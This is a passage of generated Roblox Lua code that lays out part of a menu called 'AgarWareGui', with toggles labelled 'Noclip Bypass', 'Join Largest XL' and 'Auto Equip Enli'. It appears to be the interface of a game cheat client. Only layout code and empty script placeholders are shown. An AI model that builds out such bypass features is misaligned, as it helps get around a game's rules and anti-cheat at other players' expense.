G2L["246"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["246"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["246"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["246"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["246"]["ScrollBarThickness"] = 0;
G2L["246"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide
G2L["247"] = Instance.new("Frame", G2L["246"]);
G2L["247"]["BorderSizePixel"] = 0;
G2L["247"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["247"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["247"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["247"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["247"]["Name"] = [[TCOMiscLeftSide]];
G2L["247"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.UIListLayout
G2L["248"] = Instance.new("UIListLayout", G2L["247"]);
G2L["248"]["Padding"] = UDim.new(0, 7);
G2L["248"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup
G2L["249"] = Instance.new("Frame", G2L["247"]);
G2L["249"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["249"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["249"]["Size"] = UDim2.new(0, 170, 0, 204);
G2L["249"]["Position"] = UDim2.new(0, 0, 0, 0);
G2L["249"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["249"]["Name"] = [[MiscGroup]];
G2L["249"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscScript
G2L["24a"] = Instance.new("LocalScript", G2L["249"]);
G2L["24a"]["Name"] = [[MiscScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.UIListLayout
G2L["24b"] = Instance.new("UIListLayout", G2L["249"]);
G2L["24b"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscAccentColor
G2L["24c"] = Instance.new("Frame", G2L["249"]);
G2L["24c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["24c"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["24c"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["24c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["24c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["24c"]["Name"] = [[MiscAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscTitle
G2L["24d"] = Instance.new("TextLabel", G2L["249"]);
G2L["24d"]["TextWrapped"] = true;
G2L["24d"]["BorderSizePixel"] = 0;
G2L["24d"]["TextSize"] = 14;
G2L["24d"]["TextScaled"] = true;
G2L["24d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24d"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["24d"]["BackgroundTransparency"] = 0.95;
G2L["24d"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["24d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24d"]["Text"] = [[More Stuff]];
G2L["24d"]["LayoutOrder"] = 1;
G2L["24d"]["Name"] = [[MiscTitle]];
G2L["24d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscTitle.MiscMinimize
G2L["24e"] = Instance.new("TextButton", G2L["24d"]);
G2L["24e"]["BorderSizePixel"] = 0;
G2L["24e"]["TextSize"] = 14;
G2L["24e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24e"]["BackgroundTransparency"] = 1;
G2L["24e"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["24e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24e"]["Text"] = [[-]];
G2L["24e"]["Name"] = [[MiscMinimize]];
G2L["24e"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow
G2L["24f"] = Instance.new("Frame", G2L["249"]);
G2L["24f"]["BorderSizePixel"] = 0;
G2L["24f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["24f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["24f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24f"]["Name"] = [[LJoinXLRow]];
G2L["24f"]["LayoutOrder"] = 10;
G2L["24f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLScript
G2L["250"] = Instance.new("LocalScript", G2L["24f"]);
G2L["250"]["Name"] = [[LJoinXLScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLButton
G2L["251"] = Instance.new("TextButton", G2L["24f"]);
G2L["251"]["TextSize"] = 14;
G2L["251"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["251"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["251"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["251"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["251"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["251"]["Text"] = [[Join Largest XL]];
G2L["251"]["Name"] = [[LJoinXLButton]];
G2L["251"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow
G2L["252"] = Instance.new("Frame", G2L["249"]);
G2L["252"]["BorderSizePixel"] = 0;
G2L["252"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["252"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["252"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["252"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["252"]["Name"] = [[NNoclipRow]];
G2L["252"]["LayoutOrder"] = 2;
G2L["252"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipScript
G2L["253"] = Instance.new("LocalScript", G2L["252"]);
G2L["253"]["Name"] = [[NNoclipScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipTickBox
G2L["254"] = Instance.new("TextButton", G2L["252"]);
G2L["254"]["TextSize"] = 14;
G2L["254"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["254"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["254"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["254"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["254"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["254"]["Text"] = [[]];
G2L["254"]["Name"] = [[NNoclipTickBox]];
G2L["254"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipText
G2L["255"] = Instance.new("TextLabel", G2L["252"]);
G2L["255"]["BorderSizePixel"] = 0;
G2L["255"]["TextSize"] = 14;
G2L["255"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["255"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["255"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["255"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["255"]["BackgroundTransparency"] = 1;
G2L["255"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["255"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["255"]["Text"] = [[Noclip Bypass]];
G2L["255"]["Name"] = [[NNoclipText]];
G2L["255"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow
G2L["256"] = Instance.new("Frame", G2L["249"]);
G2L["256"]["BorderSizePixel"] = 0;
G2L["256"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["256"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["256"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["256"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["256"]["Name"] = [[DecimalFixerRow]];
G2L["256"]["LayoutOrder"] = 2;
G2L["256"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerScript
G2L["257"] = Instance.new("LocalScript", G2L["256"]);
G2L["257"]["Name"] = [[DecimalFixerScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerTickBox
G2L["258"] = Instance.new("TextButton", G2L["256"]);
G2L["258"]["TextSize"] = 14;
G2L["258"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["258"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["258"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["258"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["258"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["258"]["Text"] = [[]];
G2L["258"]["Name"] = [[DecimalFixerTickBox]];
G2L["258"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerText
G2L["259"] = Instance.new("TextLabel", G2L["256"]);
G2L["259"]["BorderSizePixel"] = 0;
G2L["259"]["TextSize"] = 14;
G2L["259"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["259"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["259"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["259"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["259"]["BackgroundTransparency"] = 1;
G2L["259"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["259"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["259"]["Text"] = [[Fix Decimal Time]];
G2L["259"]["Name"] = [[DecimalFixerText]];
G2L["259"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow
G2L["25a"] = Instance.new("Frame", G2L["249"]);
G2L["25a"]["BorderSizePixel"] = 0;
G2L["25a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["25a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["25a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25a"]["Name"] = [[OtherDecimalFixerRow]];
G2L["25a"]["LayoutOrder"] = 2;
G2L["25a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerScript
G2L["25b"] = Instance.new("LocalScript", G2L["25a"]);
G2L["25b"]["Name"] = [[OtherDecimalFixerScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerTickBox
G2L["25c"] = Instance.new("TextButton", G2L["25a"]);
G2L["25c"]["TextSize"] = 14;
G2L["25c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["25c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["25c"]["Text"] = [[]];
G2L["25c"]["Name"] = [[OtherDecimalFixerTickBox]];
G2L["25c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerText
G2L["25d"] = Instance.new("TextLabel", G2L["25a"]);
G2L["25d"]["BorderSizePixel"] = 0;
G2L["25d"]["TextSize"] = 14;
G2L["25d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["25d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25d"]["BackgroundTransparency"] = 1;
G2L["25d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["25d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25d"]["Text"] = [[Fix Other Decimals]];
G2L["25d"]["Name"] = [[OtherDecimalFixerText]];
G2L["25d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow
G2L["25e"] = Instance.new("Frame", G2L["249"]);
G2L["25e"]["BorderSizePixel"] = 0;
G2L["25e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["25e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["25e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25e"]["Name"] = [[EnliChatBlueRow]];
G2L["25e"]["LayoutOrder"] = 2;
G2L["25e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueScript
G2L["25f"] = Instance.new("LocalScript", G2L["25e"]);
G2L["25f"]["Name"] = [[EnliChatBlueScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueTickBox
G2L["260"] = Instance.new("TextButton", G2L["25e"]);
G2L["260"]["TextSize"] = 14;
G2L["260"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["260"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["260"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["260"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["260"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["260"]["Text"] = [[]];
G2L["260"]["Name"] = [[EnliChatBlueTickBox]];
G2L["260"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueText
G2L["261"] = Instance.new("TextLabel", G2L["25e"]);
G2L["261"]["BorderSizePixel"] = 0;
G2L["261"]["TextSize"] = 14;
G2L["261"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["261"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["261"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["261"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["261"]["BackgroundTransparency"] = 1;
G2L["261"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["261"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["261"]["Text"] = [[Enli Icon (Chat)]];
G2L["261"]["Name"] = [[EnliChatBlueText]];
G2L["261"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow
G2L["262"] = Instance.new("Frame", G2L["249"]);
G2L["262"]["BorderSizePixel"] = 0;
G2L["262"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["262"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["262"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["262"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["262"]["Name"] = [[AutoEnliRow]];
G2L["262"]["LayoutOrder"] = 3;
G2L["262"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliScript
G2L["263"] = Instance.new("LocalScript", G2L["262"]);
G2L["263"]["Name"] = [[AutoEnliScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliTickBox
G2L["264"] = Instance.new("TextButton", G2L["262"]);
G2L["264"]["TextSize"] = 14;
G2L["264"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["264"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["264"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["264"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["264"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["264"]["Text"] = [[]];
G2L["264"]["Name"] = [[AutoEnliTickBox]];
G2L["264"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliText
G2L["265"] = Instance.new("TextLabel", G2L["262"]);
G2L["265"]["BorderSizePixel"] = 0;
G2L["265"]["TextSize"] = 14;
G2L["265"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["265"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["265"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["265"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["265"]["BackgroundTransparency"] = 1;
G2L["265"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["265"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["265"]["Text"] = [[Auto Equip Enli]];
G2L["265"]["Name"] = [[AutoEnliText]];
G2L["265"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow
G2L["266"] = Instance.new("Frame", G2L["249"]);
G2L["266"]["BorderSizePixel"] = 0;
G2L["266"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["266"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["266"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["266"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["266"]["Name"] = [[ChatFixRow]];
G2L["266"]["LayoutOrder"] = 3;
G2L["266"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixScript
G2L["267"] = Instance.new("LocalScript", G2L["266"]);
G2L["267"]["Name"] = [[ChatFixScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixTickBox
G2L["268"] = Instance.new("TextButton", G2L["266"]);
G2L["268"]["TextSize"] = 14;
G2L["268"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["268"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["268"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["268"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["268"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["268"]["Text"] = [[]];
G2L["268"]["Name"] = [[ChatFixTickBox]];
G2L["268"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixText
G2L["269"] = Instance.new("TextLabel", G2L["266"]);
G2L["269"]["BorderSizePixel"] = 0;
G2L["269"]["TextSize"] = 14;
G2L["269"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["269"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["269"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["269"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["269"]["BackgroundTransparency"] = 1;
G2L["269"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["269"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["269"]["Text"] = [[Chat Fix]];
G2L["269"]["Name"] = [[ChatFixText]];
G2L["269"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow
G2L["26a"] = Instance.new("Frame", G2L["249"]);
G2L["26a"]["BorderSizePixel"] = 0;
G2L["26a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["26a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["26a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26a"]["Name"] = [[EnliLBRow]];
G2L["26a"]["LayoutOrder"] = 2;
G2L["26a"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBScript
G2L["26b"] = Instance.new("LocalScript", G2L["26a"]);
G2L["26b"]["Name"] = [[EnliLBScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBTickBox
G2L["26c"] = Instance.new("TextButton", G2L["26a"]);
G2L["26c"]["TextSize"] = 14;
G2L["26c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["26c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["26c"]["Text"] = [[]];
G2L["26c"]["Name"] = [[EnliLBTickBox]];
G2L["26c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBText
G2L["26d"] = Instance.new("TextLabel", G2L["26a"]);
G2L["26d"]["BorderSizePixel"] = 0;
G2L["26d"]["TextSize"] = 14;
G2L["26d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["26d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26d"]["BackgroundTransparency"] = 1;
G2L["26d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["26d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26d"]["Text"] = [[Enli Icon (LB)]];
G2L["26d"]["Name"] = [[EnliLBText]];
G2L["26d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow
G2L["26e"] = Instance.new("Frame", G2L["249"]);
G2L["26e"]["BorderSizePixel"] = 0;
G2L["26e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["26e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["26e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26e"]["Name"] = [[BkitUIFixRow]];
G2L["26e"]["LayoutOrder"] = 3;
G2L["26e"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixScript
G2L["26f"] = Instance.new("LocalScript", G2L["26e"]);
G2L["26f"]["Name"] = [[BkitUIFixScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixTickBox
G2L["270"] = Instance.new("TextButton", G2L["26e"]);
G2L["270"]["TextSize"] = 14;
G2L["270"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["270"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["270"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["270"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["270"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["270"]["Text"] = [[]];
G2L["270"]["Name"] = [[BkitUIFixTickBox]];
G2L["270"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixText
G2L["271"] = Instance.new("TextLabel", G2L["26e"]);
G2L["271"]["BorderSizePixel"] = 0;
G2L["271"]["TextSize"] = 14;
G2L["271"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["271"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["271"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["271"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["271"]["BackgroundTransparency"] = 1;
G2L["271"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["271"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["271"]["Text"] = [[B-Kit UI Fix]];
G2L["271"]["Name"] = [[BkitUIFixText]];
G2L["271"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup
G2L["272"] = Instance.new("Frame", G2L["247"]);
G2L["272"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["272"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["272"]["Size"] = UDim2.new(0, 170, 0, 160);
G2L["272"]["Position"] = UDim2.new(0, 0, 0.51944, 0);
G2L["272"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["272"]["Name"] = [[BoomboxGroup]];
G2L["272"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxScript
G2L["273"] = Instance.new("LocalScript", G2L["272"]);
